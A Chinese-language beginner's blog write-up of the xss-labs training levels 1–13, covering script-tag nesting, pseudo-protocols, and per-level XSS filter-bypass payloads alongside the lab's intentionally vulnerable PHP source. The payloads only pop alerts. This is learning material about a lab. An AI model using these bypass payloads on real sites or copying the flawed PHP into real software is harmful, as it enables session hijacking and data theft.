前言 本人是个网安菜鸡,这是写的第一篇有关XSS漏洞学习的博客,请多多指教。
1.由于不可以在非代码区书写完整的html标签 用 [ ] 代替 < >
2.作者用的是chrome浏览器,不同的浏览器回显的网页代码颜色或是容错规则方面有差异
一、xss漏洞是什么? XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的Web安全漏洞,攻击者通过向网页中注入恶意脚本代码,当其他用户访问该页面时,这些脚本会在其浏览器中执行,从而导致数据泄露、会话劫持、钓鱼攻击等安全问题
二、xss漏洞的基本知识 1.HTML 中的「文本标签」
通常指用于包裹文本内容的标签,例如: 段落标签:p、h1-h6 行内容器:span、em、strong 列表项:li 其他文本容器:div、section(虽然通用,但常用于包裹文本块)
2.script 嵌套在不同标签下的脚本运行情况 *脚本执行的核心规则
浏览器纠错机制 HTML 解析器会尝试修复非法嵌套,将 script 移到允许的位置(如父容器外部),确保脚本执行。
内容模型(Content Model)限制 每个 HTML 标签有允许嵌套的内容类型(如流内容、短语内容等),非法嵌套可能导致 DOM 结构变化。
安全策略影响 如 CSP(内容安全策略)会阻止未授权的内联脚本或外部资源。
*补充知识
1.浏览器在解析javascript的属性值时,是支持十进制或是十六进制的unicode编码 2.URL编码,也叫百分号编码,是用来将特殊字符转换成可以在URL中安全使用的格式,通常用%加上两位的十六进制数来表示 3. alert(“ “) alert(‘ ‘) 双引号与单引号均可以 4. console.log(‘ ‘) /(“ “) 控制台输出 5.url编码的字符->搜索 6.多个键值对的输入用&分割 7.align(对齐)属性或相关标签(比如 [div align=”center”]),这在早期的 HTML 中用于对齐内容,但现代开发中已不推荐使用,建议改用 CSS 实现对齐。 8.前后符号最好都闭合,防止浏览器非预期‘容错’,也可以活动注释符号 9.src,href 10.gfi文件格式
在 XSS 攻击或前端开发中,<script> 标签的嵌套位置 和上下文环境 会直接影响脚本的执行行为。以下是不同场景下的详细分析:
在 XSS 攻击或前端开发中,<script> 标签的嵌套位置 和上下文环境 会直接影响脚本的执行行为。以下是不同场景下的详细分析:
1. <script> 标签的标准位置 HTML 规范允许 <script> 标签出现在 <head> 或 <body> 中,但行为略有差异:
在 <head> 中 :
脚本默认同步加载和执行 ,会阻塞 HTML 解析。
适合初始化代码或依赖库(如 jQuery)。
在 <body> 末尾 :
延迟加载,避免阻塞页面渲染。
适合操作 DOM 的代码(需确保 DOM 已加载)。
1 2 3 4 5 6 7 8 9 10 <!DOCTYPE html > <html > <head > <script > console .log ("Head 中的脚本" );</script > </head > <body > <div > 内容</div > <script > console .log ("Body 末尾的脚本" );</script > </body > </html >
2. <script> 嵌套在其他标签内 场景 1:普通容器标签(如 <div>、<span>)
脚本仍会执行 ,但需注意执行时机 :1 2 3 <div > <script > console .log ("嵌套在 div 中的脚本" );</script > </div >
当 HTML 解析到此处时立即执行。
如果容器标签被动态插入(如通过 JS),脚本会在插入时执行。
场景 2:表单标签(如 <form>)
脚本正常执行,但可能破坏表单结构:1 2 3 <form > <script > console .log ("表单内的脚本" );</script > </form >
场景 3:表格标签(如 <table>、<tr>)
部分浏览器可能因 HTML 解析规则拒绝执行:1 2 3 4 5 6 <table > <script > console .log ("表格内的脚本" );</script > <tr > <td > 单元格</td > </tr > </table >
应避免将 <script> 直接放在 <table> 或 <tr> 内。
3. <script> 在特殊标签中的行为 场景 1:<noscript> 标签
仅当浏览器禁用 JavaScript 时,<noscript> 内的内容会显示:1 2 3 4 <noscript > <script > alert ('不会执行' );</script > <p > 请启用 JavaScript</p > </noscript >
场景 2:<template> 标签
<template> 内的内容被视为惰性文档片段 ,脚本不会执行:1 2 3 <template > <script > console .log ("模板中的脚本" );</script > </template >
只有当内容被克隆并插入 DOM 后,脚本才会执行。
场景 3:SVG 或 MathML 标签
在 SVG/MathML 中嵌入 <script>,行为与 HTML 一致:1 2 3 <svg > <script > console .log ("SVG 中的脚本" );</script > </svg >
4. 动态插入的 <script> 通过 JavaScript 动态创建的 <script> 标签,行为受插入位置影响:
插入到 <head> 或 <body> 中:
脚本异步加载,默认不阻塞页面:1 2 3 const script = document .createElement ('script' );script.src = 'file.js' ; document .head .appendChild (script);
插入到其他容器中(如 <div>):
脚本仍会执行,但可能因容器未渲染而无法操作其内部 DOM:1 2 3 const div = document .createElement ('div' );div.innerHTML = '<script>console.log("动态脚本");<\/script>' ; document .body .appendChild (div);
5. XSS 攻击中的 <script> 嵌套利用 攻击者可能尝试在非标准位置注入脚本以绕过过滤:
场景 1:属性内的脚本
利用事件属性执行代码(无需 <script> 标签):1 <img src ="x" onerror ="alert('XSS')" >
场景 2:闭合标签注入
通过闭合父标签提前结束上下文,插入 <script>:1 </div > <script > alert ('XSS' );</script >
场景 3:利用 HTML 解析特性
某些上下文允许省略闭合标签或特殊字符:1 2 <textarea > <script > alert ('XSS' );</script > </textarea >
三、xss-labs解题思路+源码分析 level1 类型:url类性
解题思路: 1.第一个没有任何的输入框,点解图片也没有任何变化 2.突破口->网址栏->随便输入几次数据观察网页情况 3.查看网页源码->变化化处的标签
外层标签是h1 文本便签,嵌入script标签的脚本可以发挥作用 因此,只需要属于一段完整的脚本即可
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level2.php?keyword=test" ; } </script> <title>欢迎来到level1</title> </head> <body> <h1 align=center>欢迎来到level1</h1> <?php ini_set ("display_errors" , 0 );$str = $_GET ["name" ]; echo "<h2 align=center>欢迎用户" .$str ."</h2>" ; ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?> </body> </html>
1 2 3 4 5 由于没有任何过滤,只需输入简单的js代码就可以通过,例如: <script > alert ("GGBOND" );</script > //<script > confirm ("GGBOND" );</script > //注意:1.不要忘记写上分号 2.探测时最好用字符串探测(可以获取网页回显的信息->判断是什么类型的防护)
level2 类型:输入框类型
解题思路: 1.有输入框–>value->字符逃逸 2.输入测试语句->查看变化处的源码(重点关注value)
测试语句
1 <script > alter ("123" );</script >
出现这种情况是因为没有闭合,导致标签混乱
解决方法:闭合value
*字符逃逸 1.仅仅输入 “ :
闭合了前引号
2.输入 “>
“ > 逃逸出input标签,下图为此时的页面渲染
所以只需在之后加上相应的语句即可通关
3.除了逃逸,还可以构造为input的属性
具体语句在下方源码分析
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level3.php?writing=wait" ; } </script> <title>欢迎来到level2</title> </head> <body> <h1 align=center>欢迎来到level2</h1> <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ]; echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果</h2>" .'<center> <form action=level2.php method=GET> <input name=keyword value="' .$str .'"> <input type=submit name=submit value="搜索"/> </form> </center>' ;?> <center><img src=level2.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?> </body> </html>
1 2 3 4 5 6 7 8 //注入语句 "><script > alert ("GGBOND" )</script > // 逃逸 " onclick='alert("GGBOND) // " onfocus='alert("GGBOND") // 以上需要自主点击输入框 " autofocus='alert("GGBOND")' // 自动点击
level3 类型:输入框类型
解题思路: 进行初步分析: 1.输入测试语句(闭合与不闭合) 2.查看网页源码->value的情况 3.选中value的值,右键选中修改html
查看是否被实例化转义(指value的值)
1 注入语句: "><script > alert ("123" );</script >
查看:
由上图可知,输入的语句被实例化转义后才作为value的值
在level2输入同样的语句并进行查看value
1 <script > alert(123);</script >
value的值没有被实例化转义,这就是level2 与 level3 最大的区别
细节:alert(实例化后的内容); 从这里就可以发现:输入字符串可以获得更多的回显信息
*默认Htmlspecialchars()函数 没有转义单引号,可以使用单引号闭合
1 2 3 4 5 6 7 8 注入语句: //需要手动点击执行 ' onclick='alert("123")' // 不要用双引号包裹,因为双引号会被转义 ' onclick=alert("123") // 无引号包裹,仍然可以执行 ' onfocus=console.log("123") // 控制台输出 //自动执行 autofocus=alert("123") //
问题:为什么不用引号包裹js函数仍然可以执行呢?
1 输入:' onclick=alert("123") //
浏览器会自动补全引号,即浏览器的容错功能发挥作用
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level4.php?keyword=try harder!" ; } </script> <title>欢迎来到level3</title> </head> <body> <h1 align=center>欢迎来到level3</h1> <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" ."<center> <form action=level3.php method=GET> <input name=keyword value='" .htmlspecialchars ($str )."'> <input type=submit name=submit value=搜索 /> </form> </center>" ;?> <center><img src=level3.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?> </body> </html>
level4 类型:输入框类型
解题思路:
输入测试语句
1 <script > alert ("123" )</script >
检查是否被实例化转义
< > / 别替换为空
alert括号中的双引号没有没替换或是实例化转义,即没有过滤双引号
输入的语句有橙色,蓝色部分(被浏览器当作标签)
alert括号内的第一个双引号与value的第一个双号闭合,之后的内容均被认定为标签
尝试闭合
闭合成功,但注入语句仍被该标签包含,不能发挥作用
*插入属性 由于< > / 均被过滤,插入一个完整的标签比较困难,可以选择插入属性
1 2 " onclick='alert("123")' // 用'无法闭合value的双引号
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level5.php?keyword=find a way out!" ; } </script> <title>欢迎来到level4</title> </head> <body> <h1 align=center>欢迎来到level4</h1> <?php ini_set ("display_errors" , 0 ); $str = $_GET ["keyword" ];$str2 =str_replace (">" ,"" ,$str ); $str3 =str_replace ("<" ,"" ,$str2 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level4.php method=GET> <input name=keyword value="' .$str3 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?> <center><img src=level4.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str3 )."</h3>" ;?> </body> </html>
level5 解题思路:
类型:输入框类型
输入测试语句:
1 <script > alert ("123" )</script >
括号内的双引号没有被替换或实例化转义
括号内的双引号与value的双引号闭合
分为橙色,蓝色蓝部分
script标签背替换
尝试闭合
闭合后标签逃逸input标签
script标签被改变
既然标签被破坏,尝试注入属性
1 " onclick='alert("123")' //
onclick 属性也被替换
*伪协议
在 Web 安全中,“伪协议”(Pseudo-protocol)特指浏览器支持的某些特殊 URL 协议格式,它们并非真正的网络传输协议(如 http:// 或 https://),而是用于触发特定行为或执行代码。在 XSS(跨站脚本攻击) 场景中,伪协议常被用来绕过过滤规则,直接注入恶意脚本。
1.javascript:在 URL 中执行 XSS 攻击 -> JavaScript 代码 javascript:alert(1) 2.data:嵌入 Base64 编码的内容(HTML/脚本等过内容安全策略(CSP)-> data:text/html,[script]alert(1)[/script] 3.vbscript:在旧版 IE 中执行 VBScript 代码 IE 特定漏洞 -> vbscript:MsgBox(“XSS”) 4.about:显示浏览器内部信息或空白页面 -> about:blank
1 2 3 4 基本格式 javascript:JavaScript代码 //注意:若js代码有多行,用分号分割 若要进行编码绕过时,要对' :JavaScript代码 ' //注意:这一部分进行编码(包括冒号)-> 浏览器会自动解码 返回值为空,为避免因返回值影响页面行为 设置void(0) <a href ="javascript:void(0);alert(1)" > 点击</a >
常用语句:
1 2 3 4 <a href ="javascript:alert('XSS')" > 点击触发</a > //注入 javascript: 触发点击执行<iframe src ="javascript:'alert(1)'" > </iframe > //利用 javascript: 动态写入内容<a href ="java script:alert(1)" > 点击</a > //使用 URL 编码或 Unicode 绕过关键字过滤,解码即为javascript<a href ="javascript:void(0)" onclick ="alert(1)" > 点击</a > //利用 onclick 事件覆盖 href 行为(需用户交互)
data协议:通过嵌入 Base64 编码的 HTML 或脚本,绕过某些过滤规则:
1 2 3 4 5 6 基本格式 data:[<MIME类型 > ][;charset=<字符集 > ][;base64],<数据内容 > 1.MIME 类型:声明数据类型(如 text/html、text/javascript)。 2.Base64 编码:可选参数,用于编码二进制或特殊字符内容。 3.浏览器支持:现代浏览器广泛支持,但受 CSP(内容安全策略)限制。 攻击形式:参考以下常用语句
常用语句:
1 2 3 4 5 <object data ="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" > //object 标签的 data 属性注入 Base64 编码的脚本<iframe src ="data:text/html,<script>alert(1)</script>" > </iframe > </object > //iframe 的 src 属性,通过 data: 加载恶意 HTML<iframe src ="data:,<script>alert(1)</script>" > </iframe > //省略 MIME 类型,某些浏览器允许省略 text/html 声明<a href ="data:text/javascript,alert(1)" > 点击</a > //结合 JavaScript 执行,直接通过 data: 执行 JS 代码
vbscript协议:仅适用于旧版 IE,执行 VBScript 代码
1 <a href ="vbscript:MsgBox('XSS')" > 触发</a >
bout:通常用于加载空白页面,但可能结合其他漏洞利用
1 <iframe src ="about:blank" onload ="alert(1)" > </iframe >
正式解题:
1 2 3 示例1: "> <a href ='javascript:alert("123")' > 1</a > // 解释:"闭合value的双引号,紧跟的>与"共同实现字符逃逸,使用<a > 标签的属性href+js协议
网页源码:
页面渲染:
点击超链接‘1’,即可通关
1 2 3 示例2: "><iframe src ="javascript:alert(1)" > </iframe > // 动态创建标签页面,当标签页面被创建时自动执行js代码
此时的页面渲染:
*趣事 此时你不断刷新页面,页面会不断弹框(刷新一次弹框一次)
对于js协议的剩下编码示例与onclick覆盖就不再演示,以下为具体输入语句:
1 2 3 "><a href ="java script:alert(1)" > 点击</a > "><a href ="javascript:void(0)" onclick ="alert(1)" > 点击</a > //注意本题不可以使用onclik
对于编码,有需要的可以下载插件:CaptfEncoder,编码的作用在于可以绕过一些明文的过滤
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level6.php?keyword=break it out!" ; } </script> <title>欢迎来到level5</title> </head> <body> <h1 align=center>欢迎来到level5</h1> <?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("<script" ,"<scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level5.php method=GET> <input name=keyword value="' .$str3 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?> <center><img src=level5.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str3 )."</h3>" ;?> </body> </html>
level6 类型:输入框类型
解题思路:
简化流程,由于是输入框类型,直接输入语句:
1 "><script > alert ("123" );</script >
双引号没有被实例化转义或过滤
实现了字符逃逸
script标签被替换
使用onclick,也会被替换(自主测试,不演示)
过滤script则不用script,用伪协议
情况与level5类似,则选择语句:
1 "> <a href ='javascript:alert("123")' > 点击</a > //
此时的页面渲染
*大小写绕过 1 "><sCript > alert ("123" );</scRipt >
成功通关
疑问:为什么前面的关卡不使用大小写绕过呢?或是说为什么这关可以使用大小写绕过?代码分析解答
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level7.php?keyword=move up!" ; } </script> <title>欢迎来到level6</title> </head> <body> <h1 align=center>欢迎来到level6</h1> <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str2 =str_replace ("<script" ,"<scr_ipt" ,$str ); $str3 =str_replace ("on" ,"o_n" ,$str2 ); $str4 =str_replace ("src" ,"sr_c" ,$str3 ); $str5 =str_replace ("data" ,"da_ta" ,$str4 ); $str6 =str_replace ("href" ,"hr_ef" ,$str5 ); echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level6.php method=GET> <input name=keyword value="' .$str6 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?> <center><img src=level6.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str6 )."</h3>" ;?> </body> </html>
level7 类型:输入款类型
解题思路: 输入测试语句:
1 "><script > alert ("123" );</script >
script 被替换为空
成功逃逸
双引号没有别实例化转义或替换
输入语句:
1 "><sCript > alert ("123" );</scRipt >
两次测试结果一样,那就说明有点异样了
说明被变量的英文字符被统一转为小写后再进行替换
输入语句:
1 "><a href ='javascript:alert("123")' > 点击</a >
实现逃逸
javascript中的script被替换为空
下面的 “”>” 实为原有input标签的后面部分–>浏览器的容错
href也替换为空
由以上的三次测试,发现闭合逃逸是可以实现的,只不过是某些标签和属性会被替换为空。
*双写绕过 输入语句:
1 2 "><scscriptript > alert("123");</scscriptript > " oonnclick='alert("123")'
scscriptript 第一次匹配从第三个字符开始,即sc script ript 删除后即为 script
对于其他伪协议等测试不不再测试(写得太累了(<!_!>))–>源码分析
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level8.php?keyword=nice try!" ; } </script> <title>欢迎来到level7</title> </head> <body> <h1 align=center>欢迎来到level7</h1> <?php ini_set ("display_errors" , 0 );$str =strtolower ( $_GET ["keyword" ]);$str2 =str_replace ("script" ,"" ,$str );$str3 =str_replace ("on" ,"" ,$str2 );$str4 =str_replace ("src" ,"" ,$str3 );$str5 =str_replace ("data" ,"" ,$str4 );$str6 =str_replace ("href" ,"" ,$str5 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form action=level7.php method=GET> <input name=keyword value="' .$str6 .'"> <input type=submit name=submit value=搜索 /> </form> </center>' ;?> <center><img src=level7.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str6 )."</h3>" ;?> </body> </html>
level8 类型:输入框类型
解题思路:
输入:test
输入: javascript:alert(“123”)
javascript中的script被替换,且不是替换为空
括号内的第一个双引号被实例化转义
(其他伪协议类型自主测试)
由上可知:
*编码绕过 原理:*补充知识 目录有解释
原语句:javascript:alert(“123”) unicode 编码(16进制):
javascript:alert("123")
成功绕过
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level9.php?keyword=not bad!" ; } </script> <title>欢迎来到level8</title> </head> <body> <h1 align=center>欢迎来到level8</h1> <?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]); $str2 =str_replace ("script" ,"scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );$str4 =str_replace ("src" ,"sr_c" ,$str3 );$str5 =str_replace ("data" ,"da_ta" ,$str4 );$str6 =str_replace ("href" ,"hr_ef" ,$str5 );$str7 =str_replace ('"' ,'"' ,$str6 );echo '<center> <form action=level8.php method=GET> <input name=keyword value="' .htmlspecialchars ($str ).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>' ;?> <?php echo '<center><BR><a href="' .$str7 .'">友情链接</a></center>' ; ?> <center><img src=level8.jpg></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str7 )."</h3>" ;?> </body> </html>
level9 类型:输入框类型
解题思路:
查看网页源码可知,可以尝试插入伪协议
但是,无论输入那种伪协议,网页源码始终为:
输入:
http:// 至于为什么输入,全靠经验
输入:
123http:// http:// ashjdhj 以上语句都会被添加
所以只要识别到http://就会添加(源码分析会解释)
*注释: 现在思考如何将 http://嵌入伪协议的js代码中而不影响其执行 ->使用注释
// 在js中为单行注释 /**/ 在js中为多行注释
尝试输入:
javascript:alert(‘123’)/* http:// */ javascript:alert(‘123’)// http://
都可以被成功添加
输入:
javasCript:alert(‘123’) /http:// /
尝试:注释+编码
输入:
1 2 & 上述为javascript:alert ('123' ) unicode编码的结果
分析原因:
unicode编码后的字符会被浏览器自动解码,但是服务器不会解码(指后端没有对unicode解码的代码程序),所以后端代码接受到的是一堆‘奇怪’字符,由于没有严格识别到http:// ,所以不会将变量值拼拼接 解决措施:
对于javascript的script中任意(不限数量)字符进行unicode编码
输入语句:
成功通关
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level10.php?keyword=well done!" ; } </script> <title>欢迎来到level9</title> </head> <body> <h1 align=center>欢迎来到level9</h1> <?php ini_set ("display_errors" , 0 );$str = strtolower ($_GET ["keyword" ]);$str2 =str_replace ("script" ,"scr_ipt" ,$str );$str3 =str_replace ("on" ,"o_n" ,$str2 );$str4 =str_replace ("src" ,"sr_c" ,$str3 );$str5 =str_replace ("data" ,"da_ta" ,$str4 );$str6 =str_replace ("href" ,"hr_ef" ,$str5 );$str7 =str_replace ('"' ,'"' ,$str6 );echo '<center> <form action=level9.php method=GET> <input name=keyword value="' .htmlspecialchars ($str ).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>' ;?> <?php if (false ===strpos ($str7 ,'http://' )) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>' ; } else { echo '<center><BR><a href="' .$str7 .'">友情链接</a></center>' ; } ?> <center><img src=level9.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str7 )."</h3>" ;?> </body> </html>
level10 类型: url类型
解题思路:
输入一些测试语句()
但回显结果类似于:
插入的语句被实例化,且无法准确有效地判断过滤特征或触发的行为结果–>可能就不是这个参数(keyword=)
*隐藏标签
1.一些网站的后端可以接受隐藏的input标签的参数 2.隐藏input标签的目的是:后端需要input的返回值,但有不想用户看见—>这种情况经常出现 3.hidden下的input标签的赋值往往是通过js代码的逻辑进行赋值,也存在通过post,get请求获取值
与前面关卡不同的是:有大量隐藏的input标签(hidden)
测试使用get请求对隐藏的input标签赋值:
1 <script > alert(%27123%27);</script > &t_link=123&t_history=456&t_sort=789
回显结果:
总共有四个键值对,探测出第四个键值对可能存在xss
输入:
1 &t_sort="><script > alert ("123" );</script >
键值对以&分割,不用担心keyword将后面的语句当作值
回显结果:
输入语句:(插属性)
1 2 &t_sort=" onclick='alert("123")' type='text' // onclick 需要自主点击,所以需要’显示‘
页面渲染:(多了一个输入文本框)
点击即可通关
*趣事 —–>有趣的是将括号里面的双引号改为单引号就无法成功插入 即输入:
1 &t_sort=" onclick='alert('123')' type='text' //
分析: onclick=’alert(‘123’)’ 1.浏览器将 前两个单引号看作一组即’alert(‘ –>转为双赢号,即”alert(“ (标签属性后面浏览器都会单引号转为双引号) 2.对于剩下的 ‘)’ ,不是任何属性的值,不将单引号转为双引号,被当作属性或标签呈现蓝色
补充:自动点击测试
输入:
1 2 &t_sort=" onfocus='alert("123")' type='text ' autofocus" autofocus是独立属性
没有自动点击()原因是尾部存在双引号–>语法错误
测试:
1 2 3 4 5 &t_sort=" onfocus='alert("123")' type='text' autofocus // 实为:<input name ="t_sort" value ="" onfocus ='alert(123)' type ="text" autofocus > &t_sort=" onfocus='alert("123")' autofocus type='text' 实为:<input name ="t_sort" value ="" onfocus ='alert(123)' autofocus type ="text" >
实现自动点击
因此,注入的语句最后在尾部加注释(具体情况具体分析)
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level11.php?keyword=good job!" ; } </script> <title>欢迎来到level10</title> </head> <body> <h1 align=center>欢迎来到level10</h1> <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str11 = $_GET ["t_sort" ]; $str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .$str33 .'" type="hidden"> </form> </center>' ;?> <center><img src=level10.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?> </body> </html>
level11 类型:url类型
解题思路:
没有输入任何语句,检查页面:
包含多个隐藏标签
其中一个input标签存在值,是上一关注入的payload
删除level11关页面后,用目录页面访问level11关,回显结果为:
分析得出,t_ref的值记录的是从个网址访问的
可以推断出,后端将数据包中referer栏的地址拼接到value
*Referer 刷新页面,抓取数据包:修改数据包中的Referer,即可完成payload注入
修改为:
1 " onclick='alert("123")' type='text' //
页面渲染:
点击即可通关
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level12.php?keyword=good job!" ; } </script> <title>欢迎来到level11</title> </head> <body> <h1 align=center>欢迎来到level11</h1> <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str00 = $_GET ["t_sort" ];$str11 =$_SERVER ['HTTP_REFERER' ]; $str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 ); echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .htmlspecialchars ($str00 ).'" type="hidden"> <input name="t_ref" value="' .$str33 .'" type="hidden"> </form> </center>' ;?> <center><img src=level11.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?> </body> </html>
level12 类型: url类型
与11关类似,不再过多演示
*HTTP_USER_AGENT
修改为:
1 2 3 4 5 6 " onclick='alert("123")' type='text' // 上述语句失败-拼接value前双引号被实例化转义 继续修改: " onclick=alert('123') type='text' // 成功绕过 细节:防止识别错误,除去alert两侧的单引号
源码分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" > <script> window.alert = function ( ) { confirm ("完成的不错!" ); window.location.href="level13.php?keyword=good job!" ; } </script> <title>欢迎来到level12</title> </head> <body> <h1 align=center>欢迎来到level12</h1> <?php ini_set ("display_errors" , 0 );$str = $_GET ["keyword" ];$str00 = $_GET ["t_sort" ];$str11 =$_SERVER ['HTTP_USER_AGENT' ]; $str22 =str_replace (">" ,"" ,$str11 );$str33 =str_replace ("<" ,"" ,$str22 );echo "<h2 align=center>没有找到和" .htmlspecialchars ($str )."相关的结果.</h2>" .'<center> <form id=search> <input name="t_link" value="' .'" type="hidden"> <input name="t_history" value="' .'" type="hidden"> <input name="t_sort" value="' .htmlspecialchars ($str00 ).'" type="hidden"> <input name="t_ua" value="' .$str33 .'" type="hidden"> </form> </center>' ; ?> <center><img src=level12.png></center> <?php echo "<h3 align=center>payload的长度:" .strlen ($str )."</h3>" ;?> </body> </html>
level13 类型:隐藏标签
解题思路:
探测:
1 keyword=1&t_link=2&t_history=3&t_sort=4&t_cook=5
回显:
测试t_sort
1 &t_sort=" onclick='alert("123")' type='text' //
回显:
其余测试payload也失败
*Cookie 抓取数据包修改cookie栏:
1 " onclick=alert('123') type='text' //
点击文本框成功通关
源码分析:
